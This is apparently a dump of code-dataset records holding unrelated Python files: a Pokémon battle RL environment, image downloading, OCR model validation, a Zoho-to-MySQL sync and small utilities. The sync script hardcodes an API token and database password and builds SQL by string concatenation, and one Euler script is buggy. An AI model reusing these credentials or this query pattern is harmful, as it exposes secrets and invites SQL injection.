self._observations[battle].put(self.embed_battle(battle))\n action = self._actions[battle].get()\n\n return self._action_to_move(action, battle)\n\n def close(self) -> None:\n \"\"\"Unimplemented. Has no effect.\"\"\"\n pass\n\n def complete_current_battle(self) -> None:\n \"\"\"Completes the current battle by performing random moves.\"\"\"\n done = self._current_battle.finished\n while not done:\n _, _, done, _ = self.step(np.random.choice(self._ACTION_SPACE))\n\n def compute_reward(self, battle: Battle) -> float:\n \"\"\"Returns a reward for the given battle.\n\n The default implementation corresponds to the default parameters of the\n reward_computing_helper method.\n\n :param battle: The battle for which to compute the reward.\n :type battle: Battle\n :return: The computed reward.\n :rtype: float\n \"\"\"\n return self.reward_computing_helper(battle)\n\n @abstractmethod\n def embed_battle(self, battle: Battle) -> Any:\n \"\"\"Abstract method for embedding battles.\n\n :param battle: The battle whose state is being embedded\n :type battle: Battle\n :return: The computed embedding\n :rtype: Any\n \"\"\"\n pass\n\n def reset(self) -> Any:\n \"\"\"Resets the internal environment state. The current battle will be set to an\n active unfinished battle.\n\n :return: The observation of the new current battle.\n :rtype: Any\n :raies: EnvironmentError\n \"\"\"\n for _ in range(self.MAX_BATTLE_SWITCH_RETRY):\n battles = dict(self._actions.items())\n battles = [b for b in battles if not b.finished]\n if battles:\n self._current_battle = battles[0]\n observation = self._observations[self._current_battle].get()\n return observation\n time.sleep(self.PAUSE_BETWEEN_RETRIES)\n else:\n raise EnvironmentError(\"User %s has no active battle.\" % self.username)\n\n def render(self, mode=\"human\") -> None:\n \"\"\"A one line rendering of the current state of the battle.\n \"\"\"\n print(\n \" Turn %4d. | [%s][%3d/%3dhp] %10.10s - %10.10s [%3d%%hp][%s]\"\n % (\n self._current_battle.turn,\n \"\".join(\n [\n \"⦻\" if mon.fainted else \"●\"\n for mon in self._current_battle.team.values()\n ]\n ),\n self._current_battle.active_pokemon.current_hp or 0,\n self._current_battle.active_pokemon.max_hp or 0,\n self._current_battle.active_pokemon.species,\n self._current_battle.opponent_active_pokemon.species,\n self._current_battle.opponent_active_pokemon.current_hp or 0,\n \"\".join(\n [\n \"⦻\" if mon.fainted else \"●\"\n for mon in self._current_battle.opponent_team.values()\n ]\n ),\n ),\n end=\"\\n\" if self._current_battle.finished else \"\\r\",\n )\n\n def reward_computing_helper(\n self,\n battle: Battle,\n *,\n fainted_value: float = 0.0,\n hp_value: float = 0.0,\n number_of_pokemons: int = 6,\n starting_value: float = 0.0,\n status_value: float = 0.0,\n victory_value: float = 1.0,\n ) -> float:\n \"\"\"A helper function to compute rewards.\n\n The reward is computed by computing the value of a game state, and by comparing\n it to the last state.\n\n State values are computed by weighting different factor. Fainted pokemons,\n their remaining HP, inflicted statuses and winning are taken into account.\n\n For instance, if the last time this function was called for battle A it had\n a state value of 8 and this call leads to a value of 9, the returned reward will\n be 9 - 8 = 1.\n\n Consider a single battle where each player has 6 pokemons. No opponent pokemon\n has fainted, but our team has one fainted pokemon. Three opposing pokemons are\n burned. We have one pokemon missing half of its HP, and our fainted pokemon has\n no HP left.\n\n The value of this state will be:\n\n - With fainted value: 1, status value: 0.5, hp value: 1:\n = - 1 (fainted) + 3 * 0.5 (status) - 1.5 (our hp) = -1\n - With fainted value: 3, status value: 0, hp value: 1:\n = - 3 + 3 * 0 - 1.5 = -4.5\n\n :param battle: The battle for which to compute rewards.\n :type battle: Battle\n :param fainted_value: The reward weight for fainted pokemons. Defaults to 0.\n :type fainted_value: float\n :param hp_value: The reward weight for hp per pokemon. Defaults to 0.\n :type hp_value: float\n :param number_of_pokemons: The number of pokemons per team. Defaults to 6.\n :type number_of_pokemons: int\n :param starting_value: The default reference value evaluation. Defaults to 0.\n :type starting_value: float\n :param status_value: The reward value per non-fainted status. Defaults to 0.\n :type status_value: float\n :param victory_value: The reward value for winning. Defaults to 1.\n :type victory_value: float\n :return: The reward.\n :rtype: float\n \"\"\"\n if battle not in self._reward_buffer:\n self._reward_buffer[battle] = starting_value\n current_value = 0\n\n for mon in battle.team.values():\n current_value += mon.current_hp_fraction * hp_value\n if mon.fainted:\n current_value -= fainted_value\n elif mon.status is not None:\n current_value -= status_value\n\n current_value += (number_of_pokemons - len(battle.team)) * hp_value\n\n for mon in battle.opponent_team.values():\n current_value -= mon.current_hp_fraction * hp_value\n if mon.fainted:\n current_value += fainted_value\n elif mon.status is not None:\n current_value += status_value\n\n current_value -= (number_of_pokemons - len(battle.opponent_team)) * hp_value\n\n if battle.won:\n current_value += victory_value\n elif battle.lost:\n current_value -= victory_value\n\n to_return = current_value - self._reward_buffer[battle]\n self._reward_buffer[battle] = current_value\n\n return to_return\n\n def seed(self, seed=None) -> None:\n \"\"\"Sets the numpy seed.\"\"\"\n np.random.seed(seed)\n\n def step(self, action: int) -> Tuple:\n \"\"\"Performs action in the current battle.\n\n :param action: The action to perform.\n :type action: int\n :return: A tuple containing the next observation, the reward, a boolean\n indicating wheter the episode is finished, and additional information\n :rtype: tuple\n \"\"\"\n self._actions[self._current_battle].put(action)\n observation = self._observations[self._current_battle].get()\n return (\n observation,\n self.compute_reward(self._current_battle),\n self._current_battle.finished,\n {},\n )\n\n def play_against(\n self, env_algorithm: Callable, opponent: Player, env_algorithm_kwargs=None\n ):\n \"\"\"Executes a function controlling the player while facing opponent.\n\n The env_algorithm function is executed with the player environment as first\n argument. It exposes the open ai gym API.\n\n Additional arguments can be passed to the env_algorithm function with\n env_algorithm_kwargs.\n\n Battles against opponent will be launched as long as env_algorithm is running.\n When env_algorithm returns, the current active battle will be finished randomly\n if it is not already.\n\n :param env_algorithm: A function that controls the player. It must accept the\n player as first argument. Additional arguments can be passed with the\n env_algorithm_kwargs argument.\n :type env_algorithm: callable\n :param opponent: A player against with the env player will player.\n :type opponent: Player\n :param env_algorithm_kwargs: Optional arguments to pass to the env_algorithm.\n Defaults to None.\n \"\"\"\n self._start_new_battle = True\n\n async def launch_battles(player: EnvPlayer, opponent: Player):\n battles_coroutine = asyncio.gather(\n player.send_challenges(\n opponent=to_id_str(opponent.username),\n n_challenges=1,\n to_wait=opponent.logged_in,\n ),\n opponent.accept_challenges(\n opponent=to_id_str(player.username), n_challenges=1\n ),\n )\n await battles_coroutine\n\n def env_algorithm_wrapper(player, kwargs):\n env_algorithm(player, **kwargs)\n\n player._start_new_battle = False\n while True:\n try:\n player.complete_current_battle()\n player.reset()\n except OSError:\n break\n\n loop = asyncio.get_event_loop()\n\n if env_algorithm_kwargs is None:\n env_algorithm_kwargs = {}\n\n thread = Thread(\n target=lambda: env_algorithm_wrapper(self, env_algorithm_kwargs)\n )\n thread.start()\n\n while self._start_new_battle:\n loop.run_until_complete(launch_battles(self, opponent))\n thread.join()\n\n @abstractproperty\n def action_space(self) -> List:\n \"\"\"Returns the action space of the player. Must be implemented by subclasses.\"\"\"\n pass\n\n\nclass Gen7EnvSinglePlayer(EnvPlayer):\n _ACTION_SPACE = list(range(3 * 4 + 6))\n\n def _action_to_move(self, action: int, battle: Battle) -> str:\n \"\"\"Converts actions to move orders.\n\n The conversion is done as follows:\n\n 0 <= action < 4:\n The actionth available move in battle.available_moves is executed.\n 4 <= action < 8:\n The action - 4th available move in battle.available_moves is executed, with\n z-move.\n 8 <= action < 12:\n The action - 8th available move in battle.available_moves is executed, with\n mega-evolution.\n 12 <= action < 18\n The action - 12th available switch in battle.available_switches is executed.\n\n If the proposed action is illegal, a random legal move is performed.\n\n :param action: The action to convert.\n :type action: int\n :param battle: The battle in which to act.\n :type battle: Battle\n :return: the order to send to the server.\n :rtype: str\n \"\"\"\n if (\n action < 4\n and action < len(battle.available_moves)\n and not battle.force_switch\n ):\n return self.create_order(battle.available_moves[action])\n elif (\n not battle.force_switch\n and battle.can_z_move\n and 0 <= action - 4 < len(battle.active_pokemon.available_z_moves)\n ):\n return self.create_order(\n battle.active_pokemon.available_z_moves[action - 4], z_move=True\n )\n elif (\n battle.can_mega_evolve\n and 0 <= action - 8 < len(battle.available_moves)\n and not battle.force_switch\n ):\n return self.create_order(battle.available_moves[action - 8], mega=True)\n elif 0 <= action - 12 < len(battle.available_switches):\n return self.create_order(battle.available_switches[action - 12])\n else:\n return self.choose_random_move(battle)\n\n @property\n def action_space(self) -> List:\n \"\"\"The action space for gen 7 single battles.\n\n The conversion to moves is done as follows:\n\n 0 <= action < 4:\n The actionth available move in battle.available_moves is executed.\n 4 <= action < 8:\n The action - 4th available move in battle.available_moves is executed,\n with z-move.\n 8 <= action < 12:\n The action - 8th available move in battle.available_moves is executed,\n with mega-evolution.\n 12 <= action < 18\n The action - 12th available switch in battle.available_switches is\n executed.\n \"\"\"\n return self._ACTION_SPACE\n","sub_path":"src/poke_env/player/env_player.py","file_name":"env_player.py","file_ext":"py","file_size_in_byte":15621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"401471416","text":"import requests\npath = \"icons/\"\nfile = open('urls.txt','r')\n#https://vignette.wikia.nocookie.net/leagueoflegends/images/6/61/Guardian%27s_Horn_item.png/revision/latest/scale-to-width-down/40\nfor url in file.readlines():\n imageName = url.split('/')[7].replace('%27',\"'\").replace('%21','!').replace('%28','(').replace('%29',')')\n r = requests.get(url)\n with open(path + imageName + \".webp\", \"wb\") as code:\n code.write(r.content)\nprint('end')\n","sub_path":"etc/downloadImages.py","file_name":"downloadImages.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"570343679","text":"from sklearn.decomposition import PCA\nimport pandas as pd\n\ndef prev_cat_count(df, category_col):\n\n df['count'] = 1\n group = df.groupby(category_col).sum()\n group[category_col] = group.index\n\n return df.join(group, on=category_col, rsuffix='_R')['count_R']\n\ndef pca(df, number, name=None, verbose=0):\n\n mod_pca = PCA(number)\n mod_pca.fit(df)\n\n if verbose==1:\n print('>> Explained Variance <<')\n print(mod_pca.explained_variance_)\n print(mod_pca.explained_variance_ratio_)\n\n tran_pca = mod_pca.transform(df)\n\n if name is None:\n name = 'pca'\n\n headers = []\n for i in range(number):\n headers.append('%s_%i' % (name, i))\n\n return pd.DataFrame(tran_pca, columns=headers, index=df.index)\n","sub_path":"depr/0.2.5/dtools/feature.py","file_name":"feature.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"431243289","text":"from pyspark import SparkContext\n\nsc = SparkContext(\"spark://spark-master:7077\", \"PopularItems\")\n\ndata = sc.textFile(\"/tmp/data/inputs/sample.in\", 2) # each worker loads a piece of the data file\n\npairs = data.map(lambda line: line.split(\",\")) # tell each worker to split each line of it's partition\npages = pairs.map(lambda pair: (pair[1], 1)) # re-layout the data to ignore the user id\ncount = pages.reduceByKey(lambda x,y: x+y) # shuffle the data so that each key is only on one worker\n # and then reduce all the values by adding them together\n\noutput = count.collect() # bring the data back to the master node so we can print it out\nfor page_id, count in output:\n print (\"page_id %s count %d\" % (page_id, count))\nprint (\"Popular items done\")\n\nsc.stop()\n","sub_path":"misc/data/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"503000104","text":"limit = 100\n\nresults = 0\ndef step(x, memo={1:1, 89:89}):\n if x == 1:\n return 1\n if x == 89:\n return 89\n else:\n next == sum([int(d)**2 for d in str(x)])\n return step(next)\n\n\nfor i in range(1, limit):\n print (i, step(i))\n\n","sub_path":"Euler_92.py","file_name":"Euler_92.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"445433360","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Feb 26 09:58:32 2018\r\n\r\n@author: SHRUTINA\r\n\"\"\"\r\n\r\n#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @Time : 17-9-25 下午3:56\r\n# @Author : Luo Yao\r\n# @Site : http://github.com/TJCVRS\r\n# @File : validate_shadownet.py\r\n# @IDE: PyCharm Community Edition\r\n\"\"\"\r\nValidate shadow net script\r\n\"\"\"\r\nimport os.path as ops\r\nimport tensorflow as tf\r\nimport matplotlib.pyplot as plt\r\nimport argparse\r\nimport numpy as np\r\nimport math\r\nimport os\r\n#from local_utils import data_utils\r\n#from crnn_model import crnn_model\r\n#from global_configuration import config\r\nimport sys\r\n#sys.path.append('/data2/hdia_ocr_data/CRNN')\r\nsys.path.append(os.getcwd()+'/model/CRNN/crnn_model')\r\nsys.path.append(os.getcwd()+'/model/CRNN/local_utils')\r\nsys.path.append(os.getcwd()+'/model/CRNN/global_configuration')\r\nimport crnn_model\r\nimport data_utils\r\nimport config\r\n\r\n\r\ndef init_args():\r\n \"\"\"\r\n\r\n :return:\r\n \"\"\"\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('--filename', type=str, help='Validate filename')\r\n parser.add_argument('--weights_path', type=str, help='Where you store the shadow net weights')\r\n parser.add_argument('--is_recursive', type=bool, help='If need to recursively validate the dataset')\r\n\r\n return parser.parse_args()\r\n\r\n\r\ndef validation_shadownet(filename, weights_path, is_vis=False, is_recursive=True):\r\n \"\"\"\r\n\r\n :param dataset_dir:\r\n :param weights_path:\r\n :param is_vis:\r\n :param is_recursive:\r\n :return:\r\n \"\"\"\r\n # Initialize the record decoder\r\n decoder = data_utils.TextFeatureIO().reader\r\n images_t, labels_t, imagenames_t = decoder.read_features(\r\n os.getcwd()+\"/model/CRNN/data/tfReal/\"+filename, num_epochs=None)\r\n if not is_recursive:\r\n images_sh, labels_sh, imagenames_sh = tf.train.shuffle_batch(tensors=[images_t, labels_t, imagenames_t],\r\n batch_size=32, capacity=1000+32*2,\r\n min_after_dequeue=2, num_threads=4)\r\n else:\r\n images_sh, labels_sh, imagenames_sh = tf.train.batch(tensors=[images_t, labels_t, imagenames_t],\r\n batch_size=32, capacity=1000 + 32 * 2, num_threads=4)\r\n\r\n images_sh = tf.cast(x=images_sh, dtype=tf.float32)\r\n\r\n # build shadownet\r\n net = crnn_model.ShadowNet(phase='Validate', hidden_nums=256, layers_nums=2, seq_length=200, num_classes=148)\r\n\r\n with tf.variable_scope('shadow'):\r\n net_out = net.build_shadownet(inputdata=images_sh)\r\n\r\n decoded, _ = tf.nn.ctc_beam_search_decoder(net_out, 200 * np.ones(32), merge_repeated=False)\r\n\r\n # config tf session\r\n sess_config = tf.ConfigProto()\r\n sess_config.gpu_options.per_process_gpu_memory_fraction = config.cfg.TRAIN.GPU_MEMORY_FRACTION\r\n sess_config.gpu_options.allow_growth = config.cfg.TRAIN.TF_ALLOW_GROWTH\r\n\r\n # config tf saver\r\n saver = tf.train.Saver()\r\n\r\n sess = tf.Session(config=sess_config)\r\n\r\n validate_sample_count = 0\r\n for record in tf.python_io.tf_record_iterator(os.getcwd()+\"/model/CRNN/data/tfReal/\"+filename):\r\n validate_sample_count += 1\r\n loops_nums = int(math.ceil(validate_sample_count / 32))\r\n # loops_nums = 100\r\n\r\n with sess.as_default():\r\n\r\n # restore the model weights\r\n saver.restore(sess=sess, save_path=weights_path)\r\n\r\n coord = tf.train.Coordinator()\r\n threads = tf.train.start_queue_runners(sess=sess, coord=coord)\r\n\r\n print('Start predicting ......')\r\n if not is_recursive:\r\n predictions, images, labels, imagenames = sess.run([decoded, images_sh, labels_sh, imagenames_sh])\r\n imagenames = np.reshape(imagenames, newshape=imagenames.shape[0])\r\n imagenames = [tmp.decode('utf-8') for tmp in imagenames]\r\n preds_res = decoder.sparse_tensor_to_str(predictions[0])\r\n gt_res = decoder.sparse_tensor_to_str(labels)\r\n\r\n accuracy = []\r\n\r\n for index, gt_label in enumerate(gt_res):\r\n pred = preds_res[index]\r\n totol_count = len(gt_label)\r\n correct_count = 0\r\n try:\r\n for i, tmp in enumerate(gt_label):\r\n if tmp == pred[i]:\r\n correct_count += 1\r\n except IndexError:\r\n continue\r\n finally:\r\n try:\r\n accuracy.append(correct_count / totol_count)\r\n except ZeroDivisionError:\r\n if len(pred) == 0:\r\n accuracy.append(1)\r\n else:\r\n accuracy.append(0)\r\n\r\n accuracy = np.mean(np.array(accuracy).astype(np.float32), axis=0)\r\n print('Mean validate accuracy is {:5f}'.format(accuracy))\r\n\r\n for index, image in enumerate(images):\r\n print('Predict {:s} image with gt label: {:s} **** predict label: {:s}'.format(\r\n imagenames[index], gt_res[index], preds_res[index]))\r\n if is_vis:\r\n plt.imshow(image[:, :, (2, 1, 0)])\r\n plt.show()\r\n else:\r\n accuracy = []\r\n for epoch in range(loops_nums):\r\n predictions, images, labels, imagenames = sess.run([decoded, images_sh, labels_sh, imagenames_sh])\r\n imagenames = np.reshape(imagenames, newshape=imagenames.shape[0])\r\n imagenames = [tmp.decode('utf-8') for tmp in imagenames]\r\n preds_res = decoder.sparse_tensor_to_str(predictions[0])\r\n gt_res = decoder.sparse_tensor_to_str(labels)\r\n\r\n for index, gt_label in enumerate(gt_res):\r\n pred = preds_res[index]\r\n totol_count = len(gt_label)\r\n correct_count = 0\r\n try:\r\n for i, tmp in enumerate(gt_label):\r\n if tmp == pred[i]:\r\n correct_count += 1\r\n except IndexError:\r\n continue\r\n finally:\r\n try:\r\n accuracy.append(correct_count / totol_count)\r\n except ZeroDivisionError:\r\n if len(pred) == 0:\r\n accuracy.append(1)\r\n else:\r\n accuracy.append(0)\r\n\r\n for index, image in enumerate(images):\r\n print('Predict {:s} image with gt label: {:s} **** predict label: {:s}'.format(\r\n imagenames[index], gt_res[index], preds_res[index]))\r\n # if is_vis:\r\n # plt.imshow(image[:, :, (2, 1, 0)])\r\n # plt.show()\r\n\r\n accuracy = np.mean(np.array(accuracy).astype(np.float32), axis=0)\r\n print('Validate accuracy is {:5f}'.format(accuracy))\r\n\r\n coord.request_stop()\r\n coord.join(threads=threads)\r\n\r\n sess.close()\r\n return\r\n\r\n\r\nif __name__ == '__main__':\r\n # init args\r\n args = init_args()\r\n\r\n # validate shadow net\r\n validation_shadownet(args.filename, args.weights_path, args.is_recursive)\r\n","sub_path":"model/CRNN/tools/validate_shadownet.py","file_name":"validate_shadownet.py","file_ext":"py","file_size_in_byte":7428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"569561282","text":"import tensorflow as tf\n\ndef loss_function(real, pred, loss_object):\n mask = tf.math.logical_not(tf.math.equal(real, 0))\n loss_ = loss_object(real, pred)\n\n mask = tf.cast(mask, dtype=loss_.dtype)\n loss_ *= mask\n\n return tf.reduce_mean(loss_)","sub_path":"experimentation/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"133003916","text":"import pymysql\nimport requests\nimport json\nimport time\nimport calendar\n\nt1 = time.localtime(time.time()-86400)\ndate = ''.join([str(int(t1.tm_mday)), '-', calendar.month_abbr[int(t1.tm_mon)], '-', str(t1.tm_year)])\n\nurl = 'https://creator.zoho.com.cn/api/json/xunlian/view/form_XunLianLiang_Report?authtoken=d51ecfa14f98e8f14c91ac894bf8e7d4&scope=creatorapi&criteria=(Added_Time.After(\"' + date + '\"))'\ndata = requests.get(url).text\ndata = data.replace(' ', '').split('=')[1][:-1]\ndata = json.loads(data)['form_XunLianLiang']\n\nurl1 = 'https://creator.zoho.com.cn/api/json/xunlian/view/form_XunLianLiang_Report?authtoken=d51ecfa14f98e8f14c91ac894bf8e7d4&scope=creatorapi&criteria=(Modified_Time.After(\"' + date + '\"))'\ndata1 = requests.get(url1).text\ndata1 = data1.replace(' ', '').split('=')[1][:-1]\ndata1 = json.loads(data1)['form_XunLianLiang']\n\ndata = data + data1\n# print(len(data))\nfor i in data:\n fie = ['ID', 'form_YunDongYuan', 'Formula_ZuZhiJiaGou', 'Date_field_XunLianRiQi', 'Dropdown_XunLianKeMu', 'Number_XunLianShiChang']\n\n img = ''\n val = [str(i['ID']), str('\"'+str(i['form_YunDongYuan'])+'\"'), str('\"'+str(i['Formula_ZuZhiJiaGou'])+'\"'), str('\"'+str(i['Date_field_XunLianRiQi'])+'\"'),\n str('\"' + str(i['Dropdown_XunLianKeMu']) + '\"'), str('\"'+str(i['Number_XunLianShiChang'])+'\"')]\n\n\n db = pymysql.connect('video.hbang.com.cn', 'video', 'P@ssw0rd235', 'video')\n cursor = db.cursor()\n sql = \"replace into form_XunLianLiang(\" + ','.join(fie) + \") \" + \"values(\" + ','.join(val) + \")\"\n cursor.execute(sql)\n db.commit()\n db.close()\n","sub_path":"XunLianLiang_zoho-mysql.py","file_name":"XunLianLiang_zoho-mysql.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"284373981","text":"\r\n\r\n###########################################\r\n#\r\n# plottester\r\n#\r\n# procedural way to load multiple files\r\n#\r\n###########################################\r\n\r\nimport os\r\nimport pandas as pd\r\n\r\n\r\n\r\n \r\ndef generate_plot(x, y, partner_name):\r\n import matplotlib.pyplot as plt \r\n \r\n \r\n \r\n # plotting the points \r\n plt.plot(x, y, color='green', linestyle='dashed', linewidth = 3, \r\n marker='o', markerfacecolor='blue', markersize=12) \r\n \r\n # setting x and y axis range \r\n plt.ylim(1,20) \r\n plt.xlim(1,20) \r\n \r\n # naming the x axis \r\n plt.xlabel('x - axis') \r\n # naming the y axis \r\n plt.ylabel('y - axis') \r\n \r\n # giving a title to my graph \r\n plt.title(partner_name) \r\n \r\n # function to show the plot \r\n plt.show() \r\n\r\n\r\n\r\n\r\ndef main():\r\n\r\n print(\"Starting plottester routine\")\r\n \r\n # x axis values \r\n x = [1,2,3,4,5,6] \r\n # corresponding y axis values \r\n y = [2,4,1,5,2,6] \r\n \r\n partner_name = 'Infocon'\r\n\r\n generate_plot(x, y, partner_name)\r\n \r\n \r\n # x axis values \r\n x = [12,10,10,14,18,7] \r\n # corresponding y axis values \r\n y = [12,14,11,15,20,16] \r\n \r\n partner_name = 'Indiana'\r\n\r\n generate_plot(x, y, partner_name)\r\n\r\n \r\n \r\n \r\n \r\n\r\n print(\"Complete!\")\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n ","sub_path":"plottester.py","file_name":"plottester.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"293170241","text":"@unittest.skipIf((not TEST_NUMPY), 'Numpy not found')\ndef test_beta_log_prob(self):\n for _ in range(100):\n alpha = np.exp(np.random.normal())\n beta = np.exp(np.random.normal())\n dist = Beta(alpha, beta)\n x = dist.sample()\n actual_log_prob = dist.log_prob(x).sum()\n expected_log_prob = scipy.stats.beta.logpdf(x, alpha, beta)[0]\n self.assertAlmostEqual(actual_log_prob, expected_log_prob, places=3)","sub_path":"Data Set/bug-fixing-5/54e11639f9b8abacd6a67274126cd097bb4af6ca--fix.py","file_name":"54e11639f9b8abacd6a67274126cd097bb4af6ca--fix.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"630732082","text":"import xdrlib\nimport numpy as np\nimport pandas as pd\nimport sensorcloud as sc\nimport logging\n\n\ndef processAPSFile(file):\n logger = logging.getLogger('solaroad.aps')\n\n x = pd.read_csv(file, delimiter=',', skip_blank_lines=True, na_values='-')\n x = x.dropna()\n x = x.drop_duplicates(subset=['Reporting Time'])\n index_time = pd.to_datetime(x['Reporting Time'], format=\"%Y-%m-%d %H:%M:%S\")\n x.index = index_time\n for key in x.keys():\n if 'Unnamed' in key:\n del (x[key])\n\n for inverterId in x['Inverter ID'].unique():\n logger.debug('======================== Now processing %s ========================', inverterId)\n y = x.loc[x['Inverter ID'] == inverterId]\n del (y['Inverter ID'])\n\n y = y.resample('5min').mean().interpolate(method='pad')\n\n server, auth_token = sc.authenticate()\n deviceId = sc.getDeviceId()\n\n ctr = 0\n total_steps = np.round(len(y) / sc.MAX_POINTS) + 1\n while ctr < total_steps:\n sp = ctr * sc.MAX_POINTS\n tmp = y.iloc[sp:sp + sc.MAX_POINTS - 1, :]\n logger.debug('--------------------- RECORD %s/%s ------------------------------', ctr + 1, total_steps)\n\n sc.addSensor(server, auth_token, deviceId, inverterId, inverterId, inverterId, inverterId)\n\n logger.debug('Now uploading %s', inverterId)\n\n for key in tmp.keys():\n packer = xdrlib.Packer()\n packer.pack_int(1) # version 1\n\n packer.pack_enum(sc.SECONDS)\n packer.pack_int(300)\n\n POINTS = len(tmp)\n packer.pack_int(POINTS)\n\n channel = '_'.join(key.replace('(', '').replace(')', '').split(' '))\n sc.addChannel(server, auth_token, deviceId, inverterId, channel, channel, channel)\n\n logger.debug('Now uploading %s', channel)\n\n for item in tmp[key].iteritems():\n val = item[1]\n timestamp = item[0].to_pydatetime().timestamp() * 1000000000\n packer.pack_hyper(int(timestamp))\n packer.pack_float(float(val))\n\n data = packer.get_buffer()\n sc.uploadData(server, auth_token, deviceId, inverterId, channel, data)\n ctr = ctr + 1\n","sub_path":"apsMECFileProcessor.py","file_name":"apsMECFileProcessor.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"552954435","text":"# File: greptest.py\n\nimport os\nimport subprocess\n\nchoice = \"yes\"\nwhile(choice.lower() != \"no\" ): \n fileName = input(\"What is the name of the file? (api,esb,fp,np-server) : \")\n\n fileEnv = input(\"What is the env of the file? (qa1,dev,qaperf2) : \")\n\n fileLoc = input(\"What is the loc of the file? (SAC,am1) : \")\n\n path = \"/Users/rbattula/Documents/apache-access-\" + fileName + \"-\" + fileEnv + \"-\" \"\" + fileLoc\n os.chdir(path)\n\n beginDate = input(\"Enter the start date (yyyy-mm-dd)\")\n\n beginMonth = beginDate[5:7 ]\n\n beginDay = beginDate[8: ]\n\n\n endDate = input(\"Enter the end date (yyyy-mm-dd)\")\n\n endMonth = endDate[5:7 ]\n\n endDay = endDate[8: ]\n\n\n dates = list()\n if(int(beginMonth) == int(endMonth)):\n i = int(beginDay)\n while i<=int(endDay):\n if(i<10):\n dates.append(beginMonth + \"-0\" + str(i))\n else:\n dates.append(beginMonth + \"-\" + str(i))\n i+= 1\n \n if(int(beginMonth) != int(endMonth)):\n i = int(beginDay)\n j=1\n if((int(beginMonth) == 1) | (int(beginMonth) == 3) |(int(beginMonth) == 5) | (int(beginMonth) == 7) | (int(beginMonth) == 8) | (int(beginMonth) == 10) | (int(beginMonth) == 12)):\n while(i<=31):\n if(i<10):\n dates.append(beginMonth + \"-0\" + str(i))\n else:\n dates.append(beginMonth + \"-\" + str(i))\n i+= 1\n while(j<=int(endDay)):\n if(j<10):\n dates.append(endMonth + \"-0\" + str(j))\n else:\n dates.append(endMonth + \"-\" + str(j))\n j+= 1\n elif(int(beginMonth) == 2):\n while(i<=28):\n if(i<10):\n dates.append(beginMonth + \"-0\" + str(i))\n else:\n dates.append(beginMonth + \"-\" + str(i))\n i+= 1\n while(j<=int(endDay)):\n if(j<10):\n dates.append(endMonth + \"-0\" + str(j))\n else:\n dates.append(endMonth + \"-\" + str(j))\n j+= 1\n else:\n while(i<=30):\n if(i<10):\n dates.append(beginMonth + \"-0\" + str(i))\n else:\n dates.append(beginMonth + \"-\" + str(i))\n i+= 1\n while(j<=int(endDay)):\n if(j<10):\n dates.append(endMonth + \"-0\" + str(j))\n else:\n dates.append(endMonth + \"-\" + str(j))\n j+= 1\n \n \n folder = os.listdir(path)\n for fileNames in folder:\n for days in dates:\n if(days in fileNames):\n for line in open(fileNames):\n if ((\"warn\" in line) | (\"WARN\" in line) | (\"err\" in line) | (\"ERR\" in line) | (\"error\" in line) | (\"Error\" in line) | (\"ERROR\" in line) | (\"exception\" in line) | (\"Exception\"in line) | (\"EXCEPTION\" in line)):\n print(line)\n choice = input(\"Would you like to choose another file to search? (yes or no)\")\n if(choice.lower() == \"no\"): \n print(\"Program has now ended.\")\n \n\n\n\n\n\n\n\n\n","sub_path":"LogChecker.py","file_name":"LogChecker.py","file_ext":"py","file_size_in_byte":3226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"583817310","text":"import cv2\nimport numpy as np\nimport os\n\ndef showcam(mirror=False):\n camera = cv2.VideoCapture(0)\n\n if (camera.isOpened() == False):\n print(\"UNABLE TO READ CAMERA\")\n\n frame_width = int(camera.get(3))\n frame_height = int(camera.get(4))\n\n out = cv2.VideoWriter('video.avi', cv2.VideoWriter_fourcc('M','J','P','G'), 10, (frame_width, frame_height))\n \n while True:\n retangleValue, img = camera.read()\n\n if mirror:\n img = cv2.flip(img, 1)\n\n if retangleValue == True:\n out.write(img)\n rgb = cv2.cvtColor(img, cv2.COLOR_BGR2BGRA)\n cv2.imshow('WEBCAME', img)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break #ESC untuk keluar\n else:\n break\n\n camera.release()\n out.release()\n \n cv2.destroyAllWindows()\n\ndef main():\n showcam(mirror=True)\n\nif __name__ == '__main__':\n main()\n","sub_path":"Step-3/recordvideo.py","file_name":"recordvideo.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"206110559","text":"import numpy as np\n\n\ndef common_upadate(weight, lr, d_w):\n weight -= lr * d_w\n\n\nclass momentum_update:\n def __init__(self):\n self.v = 0\n self.mu = 0.99\n\n def update(self, x, d_x, lr):\n v = self.mu * self.v - lr * d_x\n x -= v\n\n\nclass nesterov_momentum:\n def __init__(self, v=None, mu=None):\n if v is None:\n self.v = 0\n else:\n self.v = v\n 